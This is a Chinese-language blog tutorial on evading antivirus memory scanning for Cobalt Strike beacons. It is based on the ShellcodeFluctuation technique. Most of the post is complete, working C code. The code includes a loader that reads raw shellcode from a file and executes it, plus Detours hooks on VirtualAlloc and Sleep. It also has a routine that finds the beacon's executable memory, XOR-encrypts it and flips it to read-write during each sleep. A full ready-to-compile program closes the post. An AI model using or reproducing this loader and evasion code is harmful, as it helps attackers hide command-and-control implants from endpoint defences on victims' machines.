翻转cs beacon属性页

前言

  这是我看ShellcodeFluctuation,学习到的一种免杀思路,本章根据此代码进行详细说明和复现。

思路

  一般来说,杀软在进行扫描进程中的高危区域,如带有可读可写可执行的内存时,那么此进程会被当做可疑进程。因为一般进程是没有可读可写可执行的内存的。

  我们可以在cs的beacon没有执行的时候,将此内存区域进行加密,将属性改为可读可写(RW)。当beacon执行时进行解密,将属性改为可读可写可执行(RWX),一直这样反复执行,来躲避内存扫描。

定位Beacon内存

  因为是对beacon的内存区域进行操作,所以我们首先要定位。如何找beacon所在的内存页,这里要根据申请空间API决定,如果是VirtualAlloc就hook VirtualAlloc,如果是其他申请空间API就hook其他API,这个根据具体的c2profile配置有关。如果不使用c2profile那么默认就是使用VirtualAlloc分配空间。

  我们使用默认的配置,即启动teamserver命令如下./teamserver ip pwd

  先看挂钩代码,使用Detour钩子库

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "detours.h"

#ifdef _WIN64
#pragma comment(lib,"detours.x64.lib")
#else
#pragma comment(lib,"detours.x86.lib")
#endif

// 定义VirtualAlloc原函数
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI MyVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {

	LPVOID address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
	printf("address = %p\n", address);
	return address;
}

// 挂钩 使用Detour库 https://github.com/microsoft/Detours
void Hook()
{
	DetourRestoreAfterWith();
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourAttach((void**)&OldVirtualAlloc, MyVirtualAlloc);
	DetourTransactionCommit();
}


int main(int argc, char** argv)
{
	HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
		return 0;

	DWORD realRead = 0;
	DWORD fileSize = GetFileSize(hFile, NULL);
	char* fileBuffer = malloc(sizeof(char) * fileSize);
	if (!fileBuffer || !ReadFile(hFile, fileBuffer, fileSize, &realRead, NULL))
		return 0;

	// 挂钩VirtualAlloc
	Hook();

	LPVOID lpAddress = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE);
	if (!lpAddress) return 0;
	memcpy(lpAddress, fileBuffer, fileSize);
	DWORD oldProtect;
	VirtualProtect(lpAddress, fileSize, PAGE_EXECUTE, &oldProtect);

	(*(int(*)()) lpAddress)();
}

  这里有一个很混淆的地方:hook VirtualAlloc并不是去hook的上面这个我们自己调用的VirtualAlloc,这个是没有意义的。hook的是cs自己调用的申请内存空间API,他自己分配的内存地址才是真正的beacon代码地址,这里用下其他师傅的图。图中是stager分阶段的执行过程,如果是Stageless无阶段的执行过程也是差不多的,只不过没有远程去请求而是直接写在文件里。
  

Stager

  vs编译时,选择Release x86编译模式。cs生成stager raw文件
  

  运行上线,可看到申请了3次VirtualAlloc,第一次VirtualAlloc是我们申请的,后面两次都是cs自己申请的。
  

  先看0x980000内存区域,开头内容为fc e8 89 00 00 00 60 89 e5
  

  如果你经常使用shellcode上线,那么你一定不陌生。上面的数据,其实就是我们平常使用cs生成的shellcode
  

  后面两个内存属性均为RWX
  

  最后一个0x3650000就是Beacon所在的内存了
  

Stageless

  看完Stager的情况,继续看Stageless的情况,生成Stageless
  

  这次申请了2次VirtualAlloc,属性也是RWX
  
  查看这两个内存属性,开头数据一模一样,其实结尾数据也是一模一样的。
  

64位

  vs编译时,选择Release x64编译模式,继续编译代码。cs生成x64 stager raw文件
  

  无法正常上线
  

  cs生成x64 Stageless raw文件
  

  可正常上线
  

  总结一下,只有在64位的stager情况下,无法正常上线。这样的话,我们就不能使用hook VirtualAlloc来定位beacon内存

实现定位

  先hook sleep,后面的所有代码将在MySleep函数里面操作,相当于main函数了

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "detours.h"

#ifdef _WIN64
#pragma comment(lib,"detours.x64.lib")
#else
#pragma comment(lib,"detours.x86.lib")
#endif


// 挂钩
void HookSleep();
// 脱钩
void UnHookSleep();

// 定义Sleep原函数
VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
	UnHookSleep();

	printf("===> MySleep(%d)\n\n", dwMilliseconds);
	Sleep(dwMilliseconds);

	HookSleep();
}


// 挂钩
void HookSleep()
{
	DetourRestoreAfterWith();
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourAttach((void**)&OldSleep, MySleep);
	
	DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach((void**)&OldSleep, MySleep);
	DetourTransactionCommit();
}

int main(int argc, char** argv)
{

	HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
		return 0;

	DWORD realRead = 0;
	DWORD fileSize = GetFileSize(hFile, NULL);
	char* fileBuffer = malloc(sizeof(char) * fileSize);
	if (!fileBuffer || !ReadFile(hFile, fileBuffer, fileSize, &realRead, NULL))
		return 0;

	LPVOID lpAddress = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE);
	if (!lpAddress) return 0;
	memcpy(lpAddress, fileBuffer, fileSize);
	DWORD oldProtect;
	VirtualProtect(lpAddress, fileSize, PAGE_EXECUTE, &oldProtect);

	HookSleep();
	(*(int(*)()) lpAddress)();
}

  测试了一下无论是x86 x64,Stager Stageless,都能正常运行
  

  我们可以遍历整个程序的内存属性,当内存属性是rwx或x时,就放进结构体中保存,其中结构体最大空间为3,最后一个结构体成员,就是存储的真正Beacon的位置。

  定义下结构体,方便存储信息

// 定义内存页属性结构体
typedef struct {
	LPVOID address;		// 内存地址
	DWORD size;			// 内存大小
}MemoryAttrib;

// 定义内存信息结构体
typedef struct {
	MemoryAttrib memoryPage[3];	// 最多存储3个内存页属性
	int index;					// 内存下标
	int key;					// 加解密key
	BOOL isScanMemory;			// 是否已查找内存页信息
	BOOL isEncrypt;				// 是否已加密
}MemoryInfo;

MemoryInfo memoryInfo;

  查找内存页代码,当查找完毕时,我们就已经保存了Beacon的内存信息了,所以查找一次即可。而且第一次查找到的内存页信息,与cs的执行已经无关了,所以直接释放掉内存即可。

// 查找内存页
void ScanMemoryMap()
{
	// 内存块信息结构体
	MEMORY_BASIC_INFORMATION mbi;

	LPVOID lpAddress = 0;
	HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());

	int* index = &memoryInfo.index;

	while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
	{
		// 查找可读可写可执行内存页
		if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE && mbi.Type == MEM_PRIVATE)
		{
			
			// 保存内存信息
			memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
			memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
			printf("BaseAddr = %p\n", memoryInfo.memoryPage[*index].address);
			(*index)++;

			if ((*index) >= 3)
				break;
		}
		// 更新到下一个内存页
		lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
	}

	// 更新为已扫描内存
	memoryInfo.isScanMemory = TRUE;

	/* *
	* memoryInfo.index = 2 使用了Stageless Beacon
	* memoryInfo.index = 3 使用了Stage Beacon
	* */

	// 释放shellcode内存页
	VirtualFree(memoryInfo.memoryPage[0].address, 0, MEM_RELEASE);

	printf("Shellcode Address at 0x%p\n\n", memoryInfo.memoryPage[memoryInfo.index - 1].address);
}

  在stager情况下,正确定位到了beacon位置
  

  在Stageless情况下,也正确定位到了beacon位置

  

  而且第一个BaseAddr:0x17D2A6C0000,我们也成功释放掉了,下图无此地址
  

加解密

  最后对Beacon进行加解密,和内存页属性更改即可

// 加解密Beacon
void EncryptDecrypt()
{
	// 定位到真正的Beacon内存页
	MemoryAttrib Beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
	DWORD bufSize = Beacon.size;
	unsigned int* buffer = (unsigned int*)(Beacon.address);
	int bufSizeRounded = (bufSize - (bufSize % sizeof(unsigned int))) / 4;

	// 对Beacon进行加密或解密
	for (int i = 0; i < bufSizeRounded; i++)
	{
		buffer[i] ^= memoryInfo.key;	// 简单的异或加解密
	}

	DWORD oldProt;
	memoryInfo.isEncrypt = !memoryInfo.isEncrypt;

	// 已加密
	if (memoryInfo.isEncrypt == TRUE)
	{
		// 将内存页设置为可读可写
		VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
		printf("[>] Flipped to RW.\n");
	}

	// 未加密
	if (memoryInfo.isEncrypt == FALSE)
	{
		// 将内存页设置为可读可写可执行
		VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
		memoryInfo.key = rand();	// 更新密钥
		printf("[<] Flipped back to RX/RWX.\n");
	}

	printf("%s\n\n", memoryInfo.isEncrypt ? "[>] Encoding..." : "[<] Decoding...");
}

  使用64位Stageless 加密前,前4位数据为0x52415A4D
  

  加密后,内存属性变成了RW。加密后,前4位数据为0x52411A98

  

  0x52415A4D xor 0x40D5 = 0x52411A98,加解密成功
    

完整代码

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "detours.h"

#ifdef _WIN64
#pragma comment(lib,"detours.x64.lib")
#else
#pragma comment(lib,"detours.x86.lib")
#endif

// 定义内存页属性结构体
typedef struct {
	LPVOID address;		// 内存地址
	DWORD size;			// 内存大小
}MemoryAttrib;

// 定义内存信息结构体
typedef struct {
	MemoryAttrib memoryPage[3];	// 最多存储3个内存页属性
	int index;					// 内存下标
	int key;					// 加解密key
	BOOL isScanMemory;			// 是否已查找内存页信息
	BOOL isEncrypt;				// 是否已加密
}MemoryInfo;

MemoryInfo memoryInfo;


// 挂钩
void HookSleep();
// 脱钩
void UnHookSleep();

// 查找内存页
void ScanMemoryMap()
{
	// 内存块信息结构体
	MEMORY_BASIC_INFORMATION mbi;

	LPVOID lpAddress = 0;
	HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());

	int* index = &memoryInfo.index;

	while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
	{
		// 查找可读可写可执行内存页
		if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE && mbi.Type == MEM_PRIVATE)
		{		
			// 保存内存信息
			memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
			memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
			//printf("memoryInfo.BaseAddr = %p address = %p\n", memoryInfo.memoryPage[*index].address, mbi.BaseAddress);
			(*index)++;

			if ((*index) >= 3)
				break;

		}
		// 更新到下一个内存页
		lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
	}

	// 更新为已扫描内存
	memoryInfo.isScanMemory = TRUE;


	/* *
	* memoryInfo.index = 2 使用了Stageless Beacon
	* memoryInfo.index = 3 使用了Stage Beacon
	* */


	// 释放shellcode内存页
	VirtualFree(memoryInfo.memoryPage[0].address, 0, MEM_RELEASE);

	printf("Shellcode Address at 0x%p\n\n", memoryInfo.memoryPage[memoryInfo.index - 1].address);
}

// 加解密Beacon
void EncryptDecrypt()
{
	// 定位到真正的Beacon内存页
	MemoryAttrib Beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
	DWORD bufSize = Beacon.size;
	unsigned int* buffer = (unsigned int*)(Beacon.address);
	int bufSizeRounded = (bufSize - (bufSize % sizeof(unsigned int))) / 4;

	// 对Beacon进行加密或解密
	for (int i = 0; i < bufSizeRounded; i++)
	{
		buffer[i] ^= memoryInfo.key;	// 简单的异或加解密
	}

	DWORD oldProt;
	memoryInfo.isEncrypt = !memoryInfo.isEncrypt;

	// 已加密
	if (memoryInfo.isEncrypt == TRUE)
	{
		// 将内存页设置为可读可写
		VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
		printf("[>] Flipped to RW.\n");
	}

	// 未加密
	if (memoryInfo.isEncrypt == FALSE)
	{
		// 将内存页设置为可读可写可执行
		VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
		memoryInfo.key = rand();	// 更新密钥
		printf("[<] Flipped back to RX/RWX.\n");
	}

	printf("%s\n\n", memoryInfo.isEncrypt ? "[>] Encoding..." : "[<] Decoding...");
}

// 定义Sleep原函数
VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
	UnHookSleep();

	if (!memoryInfo.isScanMemory)
		ScanMemoryMap();

	printf("XOR32 key: %X\n", memoryInfo.key);
	EncryptDecrypt();

	printf("===> MySleep(%d)\n\n", dwMilliseconds);
	Sleep(dwMilliseconds);

	EncryptDecrypt();
	HookSleep();
}

// 挂钩
void HookSleep()
{
	DetourRestoreAfterWith();
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourAttach((void**)&OldSleep, MySleep);
	DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach((void**)&OldSleep, MySleep);
	DetourTransactionCommit();
}
// 初始化内存页信息
void InitMemoryInfo()
{
	srand(time(NULL));
	memoryInfo.index = 0;
	memoryInfo.isScanMemory = FALSE;
	memoryInfo.isEncrypt = FALSE;
	memoryInfo.key = rand();	// 随机key
}

int main(int argc, char** argv)
{

	HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
		return 0;

	DWORD realRead = 0;
	DWORD fileSize = GetFileSize(hFile, NULL);
	char* fileBuffer = malloc(sizeof(char) * fileSize);
	if (!fileBuffer || !ReadFile(hFile, fileBuffer, fileSize, &realRead, NULL))
		return 0;

	LPVOID lpAddress = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE);
	if (!lpAddress) return 0;
	memcpy(lpAddress, fileBuffer, fileSize);
	DWORD oldProtect;
	VirtualProtect(lpAddress, fileSize, PAGE_EXECUTE, &oldProtect);

	InitMemoryInfo();
	HookSleep();
	(*(int(*)()) lpAddress)();
}

  运行结果,如下
  

查看评论 -
评论